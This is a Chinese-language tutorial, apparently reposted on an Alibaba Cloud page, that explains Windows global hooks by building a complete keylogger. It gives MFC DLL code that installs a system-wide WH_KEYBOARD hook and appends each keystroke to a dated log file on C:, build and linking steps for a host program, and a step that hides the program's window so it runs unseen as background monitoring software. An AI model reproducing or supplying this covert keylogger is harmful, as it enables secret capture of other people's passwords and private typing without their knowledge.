鉤子技術介紹(1)

來源:互聯網
上載者:User
        鉤子的本質是一段用以處理系統訊息的程式,通過系統調用,將其掛入系統。鉤子的種類有很多,每種鉤子可以截獲並處理相應的訊息,每當特定的訊息發出,在到達目的視窗之前,鉤子程式先行截獲該訊息、得到對此訊息的控制權。此時在鉤子函數中就可以對截獲的訊息進行加工處理,甚至可以強制結束訊息的傳遞。    
       在本程式中我們需要捕獲在任意視窗上的鍵盤輸入,這就需要採用全域鉤子以便攔截整個系統的訊息,而全域鉤子函數必須以DLL(動態串連庫)為載體進行封裝,VC6中有三種形式的MFC   DLL可供選擇,即Regular   statically   linked   to  MFC  DLL(標準靜態連結MFC   DLL)、Regular   using   the   shared   MFC   DLL(標準動態連結MFC   DLL)以及Extension   MFC   DLL(擴充MFC   DLL)。在本程式中為方便起見採用了標準靜態串連MFC   DLL。    
      三、鍵盤鉤子程式樣本    
      本樣本程式用到全域鉤子函數,程式分兩部分:可執行程式KeyHook和動態串連庫LaunchDLL。    
      1、首先編製MFC擴充動態串連庫LaunchDLL.dll:    
        (1)選擇MFC   AppWizard(DLL)建立項目LaunchDLL;在接下來的選項中選擇Regular   statically   linked   to   MFC   DLL(標準靜態連結MFC   DLL)。    
        (2)在LaunchDLL.h中添加宏定義和待匯出函數的聲明:    
      #define   DllExport   __declspec(dllexport)    
      ……    
      DllExport   void   WINAPI   InstallLaunchEv();    
      ……    
      class   CLaunchDLLApp   :   public   CWinApp    
      {    
      public:    
      CLaunchDLLApp();    
     
      //{{AFX_VIRTUAL(CLaunchDLLApp)    
      //}}AFX_VIRTUAL    
     
      //{{AFX_MSG(CLaunchDLLApp)    
      //   NOTE   -   the   ClassWizard   will   add   and   remove   member   functions   here.    
      //   DO   NOT   EDIT   what   you   see   in   these   blocks   of   generated   code   !    
      //}}AFX_MSG    
      DECLARE_MESSAGE_MAP()    
      };    
  (3)在LaunchDLL.cpp中添加全域變數Hook和全域函數LauncherHook、SaveLog:    
      HHOOK   Hook;    
      LRESULT   CALLBACK   LauncherHook(int   nCode,WPARAM   wParam,LPARAM   lParam);    
      void   SaveLog(char*   c);    
  (4)完成以上提到的這幾個函數的實現部分:    
      ……    
      CLaunchDLLApp   theApp;    
      ……    
      DllExport   void   WINAPI   InstallLaunchEv()    
      {    
      Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,    
      (HOOKPROC)LauncherHook,    
      theApp.m_hInstance,    
      0);    
      }    
  在此我們實現了Windows的系統鉤子的安裝,首先要調用SDK中的API函數SetWindowsHookEx來安裝這個鉤子函數,其原型是:    
      HHOOK   SetWindowsHookEx(int   idHook,    
      HOOKPROC   lpfn,    
      HINSTANCE   hMod,    
      DWORD   dwThreadId);    
      其中,第一個參數指定鉤子的類型,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等,在此我們只關心鍵盤操作所以設定為WH_KEYBOARD;第二個參數標識鉤子函數的入口地址,當鉤子鉤到任何訊息後便調用這個函數,即當不管系統的哪個視窗有鍵盤輸入馬上會引起LauncherHook的動作;第三個參數是鉤子函數所在模組的控制代碼,我們可以很簡單的設定其為本應用程式的執行個體控制代碼;最後一個參數是鉤子相關函數的ID用以指定想讓鉤子去鉤哪個線程,為0時則攔截整個系統的訊息,在本程式中鉤子需要為全域鉤子,故設定為0。    
      ……    
      LRESULT   CALLBACK   LauncherHook(int   nCode,WPARAM   wParam,LPARAM   lParam)    
      {    
      LRESULT   Result=CallNextHookEx(Hook,nCode,wParam,lParam);    
      if(nCode==HC_ACTION)    
      {    
      if(lParam   &   0x80000000)    
      {    
      char   c[1];    
      c[0]=wParam;    
      SaveLog(c);    
      }    
      }    
      return   Result;    
      }    
      雖然調用CallNextHookEx()是可選的,但調用此函數的習慣是很值得推薦的;否則的話,其他安裝了鉤子的應用程式將不會接收到鉤子的通知而且還有可能產生不正確的結果,所以我們應盡量調用該函數除非絕對需要阻止其他程式擷取通知。    
      ……    
      void   SaveLog(char*   c)    
      {    
      CTime   tm=CTime::GetCurrentTime();    
      CString   name;    
      name.Format("c://Key_%d_%d.log",tm.GetMonth(),tm.GetDay());    
      CFile   file;    
      if(!file.Open(name,CFile::modeReadWrite))    
      {    
      file.Open(name,CFile::modeCreate|CFile::modeReadWrite);    
      }    
      file.SeekToEnd();    
      file.Write(c,1);    
      file.Close();    
      }    
      當有鍵彈起的時候就通過此函數將剛彈起的鍵儲存到記錄檔案中從而實現對鍵盤進行監控記錄的目的。    
      編譯完成便可得到運行時所需的鍵盤鉤子的動態串連庫LaunchDLL.dll和進行靜態連結時用到的LaunchDLL.lib。    
      2、下面開始編寫調用此動態串連庫的主程式,並實現最後的整合:    
        (1)用MFC的AppWizard(EXE)建立項目KeyHook;    
        (2)選擇單文檔,其餘幾步可均為確省;    
        (3)把LaunchDLL.h和LaunchDLL.lib複製到KeyHook工程目錄中,LaunchDLL.dll複製到Debug目錄下。    
        (4)連結DLL庫,即在"Project","Settings…"的"Link"屬性頁面內,在"Object/librarymodules:"中填   入"LaunchDLL.lib"。再通過"Project","Add   To   Project","Files…"將LaunchDLL.h添加到工程中來,最後在視類的源檔案KeyHook.cpp中加入對其的引用:    
      #include   "LaunchDLL.h"    
      這樣我們就可以象使用本工程內的   函數一樣使用動態串連庫LaunchDLL.dll中的所有匯出函數了。    
  (5)在視類中添加虛函數OnInitialUpdate(),並添加程式碼完成對鍵盤鉤子的安裝:    
      ……    
      InstallLaunchEv();    
      ……    
  (6)到此為止其實已經完成了所有的功能,但作為一個後台監視軟體,運行時並不希望有介面,可以在應用程式類CkeyHookApp的InitInstance()函數中將m_pMainWnd->ShowWindow(SW_SHOW);改為m_pMainWnd->ShowWindow   (SW_HIDE);即可。    
      四、運行與檢測    
      編譯運行程式,運行起來之後並無什麼現象,但通過Alt+Ctrl+Del在關閉程式對話方塊內可以找到我們剛編寫完畢的程式"KeyHook",隨便在什麼程式中通過鍵盤輸入字元,然後開啟記錄檔案,我們會發現:通過鍵盤鉤子,我們剛才輸入的字元都被記錄到記錄檔案中了。    
      小結:系統鉤子具有相當強大的功能,通過這種技術可以對幾乎所有的Windows系統訊息進行攔截、監視、處理。這種技術廣泛應用於各種自動監控系統中    

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.